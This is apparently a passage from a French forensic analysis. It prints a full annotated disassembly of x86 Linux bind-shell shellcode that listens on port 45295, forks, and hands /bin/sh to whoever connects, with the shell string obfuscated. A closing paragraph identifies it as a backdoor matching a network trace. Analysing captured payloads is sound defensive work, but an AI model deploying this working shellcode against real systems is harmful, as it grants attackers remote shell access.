00000005 31C0 xor eax,eax 00000007 31DB xor ebx,ebx 00000009 31C9 xor ecx,ecx 0000000B 51 push ecx 0000000C B106 mov cl,0x6 0000000E 51 push ecx 0000000F B101 mov cl,0x1 00000011 51 push ecx 00000012 B102 mov cl,0x2 00000014 51 push ecx 00000015 89E1 mov ecx,esp 00000017 B301 mov bl,0x1 00000019 B066 mov al,0x66 0000001B CD80 int 0x80 /* socketcall socket() */ 0000001D 89C1 mov ecx,eax 0000001F 31C0 xor eax,eax 00000021 31DB xor ebx,ebx 00000023 50 push eax 00000024 50 push eax 00000025 50 push eax 00000026 6668B0EF push word 0xefb0 /* port 45295 */ 0000002A B302 mov bl,0x2 0000002C 6653 push bx 0000002E 89E2 mov edx,esp 00000030 B310 mov bl,0x10 00000032 53 push ebx 00000033 B302 mov bl,0x2 00000035 52 push edx 00000036 51 push ecx 00000037 89CA mov edx,ecx 00000039 89E1 mov ecx,esp 0000003B B066 mov al,0x66 0000003D CD80 int 0x80 /* socketcall bind() */ 0000003F 31DB xor ebx,ebx 00000041 39C3 cmp ebx,eax 00000043 7405 jz 0x4a 00000045 31C0 xor eax,eax 00000047 40 inc eax 00000048 CD80 int 0x80 /* exit() */ 0000004A 31C0 xor eax,eax 0000004C 50 push eax 0000004D 52 push edx 0000004E 89E1 mov ecx,esp 00000050 B304 mov bl,0x4 00000052 B066 mov al,0x66 00000054 CD80 int 0x80 /* socketcall listen() */ 00000056 89D7 mov edi,edx 00000058 31C0 xor eax,eax 0000005A 31DB xor ebx,ebx 0000005C 31C9 xor ecx,ecx 0000005E B311 mov bl,0x11 00000060 B101 mov cl,0x1 /* SIG_IGN */ 00000062 B030 mov al,0x30 00000064 CD80 int 0x80 /* signal() */ 00000066 31C0 xor eax,eax 00000068 31DB xor ebx,ebx 0000006A 50 push eax 0000006B 50 push eax 0000006C 57 push edi 0000006D 89E1 mov ecx,esp 0000006F B305 mov bl,0x5 00000071 B066 mov al,0x66 00000073 CD80 int 0x80 /* socketcall accept() */ 00000075 89C6 mov esi,eax 00000077 31C0 xor eax,eax 00000079 31DB xor ebx,ebx 0000007B B002 mov al,0x2 0000007D CD80 int 0x80 /* fork() */ 0000007F 39C3 cmp ebx,eax 00000081 7540 jnz 0xc3 00000083 31C0 xor eax,eax 00000085 89FB mov ebx,edi 00000087 B006 mov al,0x6 00000089 CD80 int 0x80 /* close() */ 0000008B 31C0 xor eax,eax 0000008D 31C9 xor ecx,ecx 0000008F 89F3 mov ebx,esi 00000091 B03F mov al,0x3f 00000093 CD80 int 0x80 /* dup2() */ 00000095 31C0 xor eax,eax 00000097 41 inc ecx 00000098 B03F mov al,0x3f 0000009A CD80 int 0x80 /* dup2() */ 0000009C 31C0 xor eax,eax 0000009E 41 inc ecx 0000009F B03F mov al,0x3f 000000A1 CD80 int 0x80 /* dup2() */ 000000A3 31C0 xor eax,eax 000000A5 50 push eax 000000A6 BE2DEE3127 mov esi,0x2731ee2d 000000AB 81C641414141 add esi,0x41414141 000000B1 56 push esi /* n/sh */ 000000B2 BEEEED2028 mov esi,0x2820edee 000000B7 81C641414141 add esi,0x41414141 000000BD 56 push esi /* //bi */ 000000BE 89E3 mov ebx,esp 000000C0 8B542408 mov edx,[esp+0x8] 000000C4 50 push eax 000000C5 53 push ebx 000000C6 89E1 mov ecx,esp 000000C8 B00B mov al,0xb 000000CA CD80 int 0x80 /* execve() */ 000000CC 31C0 xor eax,eax 000000CE 40 inc eax 000000CF CD80 int 0x80 /* exit() */ 000000D1 31C0 xor eax,eax 000000D3 89F3 mov ebx,esi 000000D5 B006 mov al,0x6 000000D7 CD80 int 0x80 /* close() */ 000000D9 EB99 jmp short 0x74
Il s'agit d'un shellcode qui écoute sur le port 45295 et qui, lors d'une connexion sur ce port, forke un shell. On a donc à faire à une backdoor. Une rapide recherche sur Internet permet de voir que ce shellcode n'a pas été créé uniquement pour cet exploit puisqu'on peut le retrouver ailleurs. Le numéro du port est de plus cohérent avec ce que l'on a observé sur la trace réseau.